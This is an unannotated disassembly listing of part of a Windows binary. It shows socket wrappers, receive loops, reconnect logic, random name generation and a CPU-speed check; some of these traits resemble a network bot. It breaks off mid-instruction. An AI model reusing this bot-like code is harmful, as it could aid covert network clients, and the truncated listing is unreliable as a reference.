loc_41AC90 loc_41AC7D: ; CODE XREF: ___:0041AC77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AC8A mov [esi+ebp-1], bl jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC8A: ; CODE XREF: ___:0041AC82j mov [edi], bl loc_41AC8C: ; CODE XREF: ___:0041AC88j mov [esp+18h], bl loc_41AC90: ; CODE XREF: ___:0041AC7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC4B loc_41AC9D: ; CODE XREF: ___:0041AC47j ; ___:0041AC4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41ACF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: ___:0041ACEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD03: ; CODE XREF: ___:0041ACFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AD30 proc near ; CODE XREF: sub_401893j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41AD42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AD30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD53: ; CODE XREF: sub_41AD30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax nop call near ptr 71AC0B50h pop esi retn 8 sub_41AD30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD80: ; CODE XREF: ___:00401C3Fj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41ADBF cmp eax, 0FFFFFFFFh jz short loc_41ADB5 cmp [esi+80Bh], cl jz short loc_41ADB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADB5: ; CODE XREF: ___:0041AD9Ej ; ___:0041ADA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADBF: ; CODE XREF: ___:0041AD99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41ADF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: ___:0041ADE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:004016E5j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AE6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: ___:0041AE61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEA9: ; CODE XREF: ___:0041AE9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AEF0: ; CODE XREF: ___:0040173Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AF60 proc near ; CODE XREF: sub_4018BBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41AF90 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41AF90: ; CODE XREF: sub_41AF60+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 call near ptr 71AB4519h nop retn 4 sub_41AF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C35 mov dword ptr [esi], offset off_43E0C0 mov eax, esi pop esi retn sub_41AFE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40186B test [esp+4+arg_0], 1 jz short loc_41B028 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B028: ; CODE XREF: sub_41B010+Dj mov eax, esi pop esi retn 4 sub_41B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B040 proc near ; CODE XREF: sub_40186Bj mov dword ptr [ecx], offset off_43E0C0 add ecx, 4 jmp sub_401FC8 sub_41B040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_401636j arg_0 = dword ptr 4 push esi push edi call sub_40195B test al, al jnz short loc_41B072 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41B060+9j mov esi, [esp+8+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41B0C5 push esi call near ptr 71AB4FD4h nop mov edi, eax test edi, edi jnz short loc_41B097 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B097: ; CODE XREF: sub_41B060+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B0AC loc_41B0A1: ; CODE XREF: sub_41B060+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B0A1 loc_41B0AC: ; CODE XREF: sub_41B060+3Fj call sub_401EEC dec esi push esi push 0 call sub_4021A3 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B0C5: ; CODE XREF: sub_41B060+20j pop edi pop esi retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B0F0: ; CODE XREF: ___:00402095j push 0FFFFFFFFh push offset loc_43AD07 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40195B test al, al jnz short loc_41B12F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401861 jmp loc_41B2DB ; --------------------------------------------------------------------------- loc_41B12F: ; CODE XREF: ___:0041B118j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401861 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017E4 test eax, eax push offset byte_446F60 jnz short loc_41B16C mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B16C: ; CODE XREF: ___:0041B156j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_446F60 jnz short loc_41B192 mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B192: ; CODE XREF: ___:0041B17Cj lea ecx, [esp+18h] call sub_401861 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017E4 push eax call sub_436FC6 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B1D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov [esp+0Ch], edi jmp loc_41B2C0 ; --------------------------------------------------------------------------- loc_41B1D6: ; CODE XREF: ___:0041B1BBj mov edi, [esp+10h] mov esi, offset dword_443DC4 mov ecx, [edi] mov eax, [ecx+4] loc_41B1E4: ; CODE XREF: ___:0041B202j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B208 cmp cl, bl jz short loc_41B204 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B208 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B1E4 loc_41B204: ; CODE XREF: ___:0041B1EEj xor eax, eax jmp short loc_41B20D ; --------------------------------------------------------------------------- loc_41B208: ; CODE XREF: ___:0041B1EAj ; ___:0041B1F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B20D: ; CODE XREF: ___:0041B206j cmp eax, ebx jz short loc_41B27B push ebp loc_41B212: ; CODE XREF: ___:0041B265j ; ___:0041B269j call near ptr 27E0716h nop and eax, 0Fh cmp al, 8 jnz short loc_41B226 cmp word ptr [edi+8], 0Fh jz short loc_41B26B loc_41B226: ; CODE XREF: ___:0041B21Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B232 mov edi, ebp loc_41B232: ; CODE XREF: ___:0041B22Ej mov eax, [edi+4] mov esi, offset dword_443DC4 loc_41B23A: ; CODE XREF: ___:0041B258j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B25E cmp cl, bl jz short loc_41B25A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B25E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B23A loc_41B25A: ; CODE XREF: ___:0041B244j xor eax, eax jmp short loc_41B263 ; --------------------------------------------------------------------------- loc_41B25E: ; CODE XREF: ___:0041B240j ; ___:0041B24Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B263: ; CODE XREF: ___:0041B25Cj cmp eax, ebx jnz short loc_41B212 mov edi, ebp jmp short loc_41B212 ; --------------------------------------------------------------------------- loc_41B26B: ; CODE XREF: ___:0041B224j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015D7 pop ebp jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: ___:0041B20Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015D7 loc_41B288: ; CODE XREF: ___:0041B279j push offset byte_446F60 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B2A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015D7 loc_41B2A8: ; CODE XREF: ___:0041B298j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov dword ptr [esp+0Ch], 1 loc_41B2C0: ; CODE XREF: ___:0041B1D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B2CE: ; CODE XREF: ___:0041B167j ; ___:0041B18Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B2DB: ; CODE XREF: ___:0041B12Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B390: ; CODE XREF: ___:00402135j push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov dword ptr [esi], offset off_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BCC test [esp+4+arg_0], 1 jz short loc_41B3E8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj mov eax, esi pop esi retn 4 sub_41B3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_401BCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B400 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FC8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B470: ; CODE XREF: ___:00401D3Ej push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4B0 proc near ; CODE XREF: sub_40167Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B5C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B5C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401488 mov ebp, dword_50F8D0 test al, al jnz short loc_41B513 loc_41B4E9: ; CODE XREF: sub_41B4B0+61j mov al, [edi+10h] test al, al jz loc_41B5AF mov al, byte_4E6E74 test al, al jz short loc_41B513 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401488 test al, al jz short loc_41B4E9 loc_41B513: ; CODE XREF: sub_41B4B0+37j ; sub_41B4B0+4Bj mov al, [edi+10h] test al, al jz loc_41B5AF loc_41B51E: ; CODE XREF: sub_41B4B0+F9j mov al, byte_4E6E74 test al, al jz loc_41B5AF test esi, esi jnz short loc_41B54E push 80Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B54A push esi mov ecx, eax call sub_401C35 jmp short loc_41B54C ; --------------------------------------------------------------------------- loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej xor eax, eax loc_41B54C: ; CODE XREF: sub_41B4B0+98j mov esi, eax loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B81 test al, al jnz short loc_41B567 push 7D0h call ebp jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B4B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_401893 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B5A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j ; sub_41B4B0+E8j mov al, [edi+10h] test al, al jnz loc_41B51E loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej ; sub_41B4B0+68j ... mov ecx, ebx call sub_4014DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj ; sub_41B4B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B4B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B620: ; CODE XREF: ___:00401C21j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B695 mov esi, ebp loc_41B63F: ; CODE XREF: ___:0041B693j cmp esi, ebx jz short loc_41B695 cmp [esp+18h], bl jz short loc_41B695 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call near ptr 71AB615Ah nop cmp eax, ebx jz short loc_41B6A4 cmp eax, 0FFFFFFFFh jz short loc_41B6A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B69D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B680 cmp al, 0Dh jz short loc_41B680 cmp al, bl jnz short loc_41B688 loc_41B680: ; CODE XREF: ___:0041B676j ; ___:0041B67Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B688: ; CODE XREF: ___:0041B67Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B63F loc_41B695: ; CODE XREF: ___:0041B63Bj ; ___:0041B641j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B69D: ; CODE XREF: ___:0041B66Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B6A4: ; CODE XREF: ___:0041B65Aj ; ___:0041B65Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B74A mov edi, ebp loc_41B6FF: ; CODE XREF: sub_41B6E0+68j cmp edi, ebx jz short loc_41B74A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B74A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B759 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B72A cmp al, bl jnz short loc_41B73D loc_41B72A: ; CODE XREF: sub_41B6E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B737 mov [esi+ebp-1], bl jmp short loc_41B739 ; --------------------------------------------------------------------------- loc_41B737: ; CODE XREF: sub_41B6E0+4Fj mov [edi], bl loc_41B739: ; CODE XREF: sub_41B6E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B73D: ; CODE XREF: sub_41B6E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B6FF loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj ; sub_41B6E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B6E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B6E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B780: ; CODE XREF: ___:00401ADCj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B7DB loc_41B7A6: ; CODE XREF: ___:0041B7D9j push 3 push 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B7C7 dec eax jz short loc_41B7C1 dec eax jnz short loc_41B7D6 push 7Ah push 61h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: ___:0041B7B6j push 5Ah push 41h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: ___:0041B7B3j push 39h push 30h loc_41B7CB: ; CODE XREF: ___:0041B7BFj ; ___:0041B7C5j call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B7D6: ; CODE XREF: ___:0041B7B9j inc esi cmp esi, ebp jl short loc_41B7A6 loc_41B7DB: ; CODE XREF: ___:0041B7A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B800 proc near ; CODE XREF: sub_40141Aj rdtsc retn sub_41B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B820 proc near ; CODE XREF: sub_4017F3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_50F8D0 push ebp push esi push edi xor ebp, ebp loc_41B82F: ; CODE XREF: sub_41B820+43j ; sub_41B820+4Dj call sub_40141A push 3E8h mov esi, eax mov edi, edx call ebx call sub_40141A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_436970 push ebp push 0Ah push edx push eax call sub_436970 cmp edx, ebp mov esi, eax ja short loc_41B82F jb short loc_41B86F cmp esi, 0F4240h ja short loc_41B82F loc_41B86F: ; CODE XREF: sub_41B820+45j push ebp push 64h push edx push esi call sub_4368F0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B8F9 jb short loc_41B88F cmp ecx, 50h jnb short loc_41B898 loc_41B88F: ; CODE XREF: sub_41B820+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B898: ; CODE XREF: sub_41B820+6Dj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8A3 cmp ecx, 47h jnb short loc_41B8AC loc_41B8A3: ; CODE XREF: sub_41B820+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B8AC: ; CODE XREF: sub_41B820+81j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8B7 cmp ecx, 37h jnb short loc_41B8C0 loc_41B8B7: ; CODE XREF: sub_41B820+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B8C0: ; CODE XREF: sub_41B820+95j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8CB cmp ecx, 26h jnb short loc_41B8D4 loc_41B8CB: ; CODE XREF: sub_41B820+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B8D4: ; CODE XREF: sub_41B820+A9j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8DF cmp ecx, 1Eh jnb short loc_41B8E8 loc_41B8DF: ; CODE XREF: sub_41B820+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B8E8: ; CODE XREF: sub_41B820+BDj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8F3 cmp ecx, 0Ah jnb short loc_41B8F9 loc_41B8F3: ; CODE XREF: sub_41B820+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B8F9: ; CODE XREF: sub_41B820+66j ; sub_41B820+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B950 proc near ; CODE XREF: sub_402022j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41B950 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_447759 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BAAF push ebp lea ecx, [esp+50h+var_3C] call sub_401424 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C5D mov ebp, eax call sub_401EEC lea ecx, [esp+50h+var_3C] call sub_4013D9 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 280125Ah test eax, eax jnz short loc_41B9E6 mov edi, offset byte_446F60 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41B9E6: ; CODE XREF: sub_41B950+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41B9EF: ; CODE XREF: sub_41B950+A9j cmp ecx, eax jnz short loc_41B9F5 mov bl, 1 loc_41B9F5: ; CODE XREF: sub_41B950+A1j inc eax cmp eax, 5Bh jl short loc_41B9EF mov eax, 61h loc_41BA00: ; CODE XREF: sub_41B950+BAj cmp ecx, eax jnz short loc_41BA06 mov bl, 1 loc_41BA06: ; CODE XREF: sub_41B950+B2j inc eax cmp eax, 7Bh jl short loc_41BA00 test bl, bl jnz short loc_41BA32 mov edi, offset byte_446F60 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BA32: ; CODE XREF: sub_41B950+BEj mov esi, dword_50FABC call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BAAF: ; CODE XREF: sub_41B950+2Aj lea ecx, [esp+4Ch+var_24] call sub_401424 mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 27E0716h push eax call near ptr 77C371BCh nop mov edi, dword_50FABC add esp, 4 call edi cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015D7 test esi, esi jle short loc_41BB4E loc_41BAF8: ; CODE XREF: sub_41B950+1FCj lea ecx, [esp+4Ch+var_3C] call sub_401424 lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FBE call edi cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+54h+var_24] push offset dword_443E74 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BAF8 loc_41BB4E: ; CODE XREF: sub_41B950+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41B950 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC20: ; CODE XREF: ___:00401569j mov al, [esp+4] cmp al, 20h jz short loc_41BC2F cmp al, 9 jz short loc_41BC2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: ___:0041BC26j ; ___:0041BC2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: ___:00401ED8j mov eax, [esp+4] push offset dword_443E7C push eax call near ptr 